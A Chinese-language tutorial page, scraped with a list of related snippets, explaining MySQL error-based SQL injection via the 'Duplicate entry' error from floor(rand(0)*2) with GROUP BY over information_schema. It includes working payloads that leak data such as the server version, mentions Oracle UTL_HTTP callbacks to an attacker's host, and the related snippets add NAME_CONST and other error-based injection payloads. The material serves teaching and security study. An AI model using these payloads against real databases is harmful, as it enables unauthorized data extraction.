1. 程式人生 > >經典的MySQL Duplicate entry報錯注入

經典的MySQL Duplicate entry報錯注入

SQL注射取資料的方式有多種:

  1. 利用union select查詢直接在頁面上返回資料,這種最為常見,一個前提是攻擊者能夠構造閉合的查詢。
  2.  Oracle中利用監聽UTL_HTTP.request發起的HTTP請求,把QuerySet反彈回攻擊者的主機。當然,HTTP伺服器對URL的長度有一定限制,因此每次可返回的資料量不可過多。
  3.  基於錯誤訊息取資料,前提是頁面能夠響應詳細的錯誤描述。它的一個優點是,我們可能不必太費力去猜測和閉合SQL(可以構造子查詢,讓MySQL在子查詢中報錯)。
  4.  盲注,頁面不會顯示錯誤訊息。常見基於布林的盲注、基於時間的盲注,此類注射點利用價值相對要低一點,猜解資料的時間較長。

本篇簡單說明非常經典的基於錯誤回顯的MySQL注射。最重要的,就是理解下面的SQL查詢:

select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;

上面的這條SQL將報錯: Duplicate entry '1' for key 'group_key'

如下圖

mysql_error_1

1. 為什麼MySQL注射要用information_schema庫?

答案是這個庫是MySQL自帶的,安裝之後就建立好了,所有賬號都有許可權訪問。攻擊者無需猜解庫名、表名。跟Oracle注射使用dual類似。

2. 如何利用報錯取資料?

利用報錯,攻擊者把目標資料concat連線到floor()函式的前後即可。

例如,下面的語句用於獲取MySQL Server版本,構造:

mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets
group by x;
ERROR 1062 (23000): Duplicate entry '1^^^5.5.28^^^' for key 'group_key'

通過報錯,即可知道當前資料庫是5.5.28。0x5e5e5e是3個尖括號的16進製表示。 自動化SQL注射工具通常會在目標資料前後做類似的標記,方便程式提取。

加上標記,也可以方便攻擊者在大的頁面中搜索。

3. 為何這條語句會報錯?

rand(0)是把0作為生成隨機數的種子。首先明確一點,無論查詢多少次,無論在哪臺MySQL Server上查詢,連續rand(0)生成的序列是固定的

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 mysql > select rand ( 0 ) * 2 x from information_schema . character_sets ; + -- -- -- -- -- -- -- -- -- -- - + | x                    | + -- -- -- -- -- -- -- -- -- -- - + |    0.3104408553898715 | |    1.241763483026776 | |    1.2774949104315554 |

相關推薦

經典MySQL Duplicate entry注入

SQL注射取資料的方式有多種: 利用union select查詢直接在頁面上返回資料,這種最為常見,一個前提是攻擊者能夠構造閉合的查詢。  Oracle中利用監聽UTL_HTTP.request發起的HTTP請求,把QuerySet反彈回攻擊者的主機。當然,HTTP伺

MYSQL高版本注入技巧-利用NAME_CONST注入

 and (select count(*) from mysql.user)>0/* 1、檢視MYSQL版本 and+exists(select*from+(select*from(select+name_const(@@version,0))a+join(select+name_const(

【資料庫索引】mysql更新資料Duplicate entry 'XXX' for key 'XXX'

經查:資料庫表索引型別設定問題導致,unique:約束資料庫表中的每一條資料唯一。 補充: 1.UNIQUE(要求列唯一) 和 PRIMARY KEY(主鍵唯一) 約束均為列或列集合提供了唯一性的保證。    PRIMARY KEY (主鍵)擁有自動定義的 UNIQUE

Mysql注入簡單測試模型

測試Mysql環境:Mysql 5.7.12-log Mysql Community Server(GPL) 1、收集內建函式 http://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html 2、整理列表 select A

Mysql 注入的原理探索

我們一般使用的報錯語句: 1 select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a; concat:為聚合函式,連線字串功能

MySQL注入方法整理

mysql暴錯注入方法整理,通過floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。 報錯注入:(and後不能直接跟select,可以加()) 1.報錯注入floor-

Mysql注入原理分析(count()、rand()、group by)

可以看到floor(rand(0)*2)是有規律的,而且是固定的,這個就是上面提到的由於是確定性才導致的報錯,那為何會報錯呢,我們接著往下看。 0x05 count與group by的虛擬表 使用select count(*) from `T-Safe` group by x;這種語句的時候我們經

十種MySQL注入

以下均摘自《程式碼審計:企業級Web程式碼安全架構》一書 1.floor() select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*

MySQL主從同步故障處理記錄

記錄 error start record master 前言在發生故障切換後,經常遇到的問題就是同步報錯,下面是最近收集的報錯信息。記錄刪除失敗在master上刪除一條記錄,而slave上找不到Last_SQL_Error: Could not execute Delete_rows e

MYSQL 內存 Use 'mysqld --thread_stack=#' to specify a bigger stack.

mysql 內存報錯 use 'mysqld --thread_stack=#' to specify a bigger stack.MYSQL 內存報錯 Use ‘mysqld --thread_stack=#‘ to specify a bigger stack.今天在使用mysql的過程

mysql登錄“Access denied for user 'root'@'localhost' (using password: YES”的處理方法

為我 方法 error: top error 告訴 猜想 network grant 最近登錄某臺服務器的mysql時候總報錯: Access[root@log01 ~]# mysql -u root -p Enter password: ERROR 1045 (2800

centos7 安裝 mysql-python時 EnvironmentError: mysql_config not found

down config bsp rep grep 安裝mysql server comm 解決方法 pip install mysql-python 然後報錯 EnvironmentError: mysql_config not found 網上搜

mysql插入中文的問題

之前 oot 解決辦法 HR rect href In default def 報錯:1366, "Incorrect string value: ‘\\xE6\\xB7\\xB1\\xE5\\x85\\xA5...‘ for column ‘ 由於公司原因之前一直在使用o

MYSQL啟動後故障問題的解決辦法

quit ... AI gin native with 錯誤日誌 查看 RR centos系統有一次異常關機後啟動mysql一直報錯#/etc/init.d/mysqld startStarting MySQL.. ERROR! The server quit withou

mysql打開2013解決辦法

art resolve -name mage mysql 解決 重啟 圖片 分享圖片 修改mysql配置文件 在[mysqld]下面設置skip-name-resolve 重啟mysql

centos7源碼安裝mysql時cmake

message download 參數 .net with make cal 添加 mysql 報錯代碼: CMake Error at cmake/boost.cmake:81 (MESSAGE):You can download it with -DDOWNLOAD_B

mysql-mysqlslap執行

mysqlslap 數據庫 數據 sla nbsp 分享圖片 後來 再次 方法 問題描述: 應用mysql自帶的壓力測試工具mysqlslap,執行後報如下錯誤: 查找資料,說需要將my.cnf中的default-chara

MySQL登錄ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)

command sql ror total lock sta secure linux and [root@pisphkdcbsql01 mysql3307]# /opt/mysql3307/bin/mysql -upisp -ppisp@123 mysql:

SQL注入注入函式彙總

1.floor() id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) 原理:https://b

實驗吧 加了料的注入

解題連結: http://ctf5.shiyanbar.com/web/baocuo/index.php SQL查詢原始碼: <!-- $sql="select * from users where username='$username' and password='$pass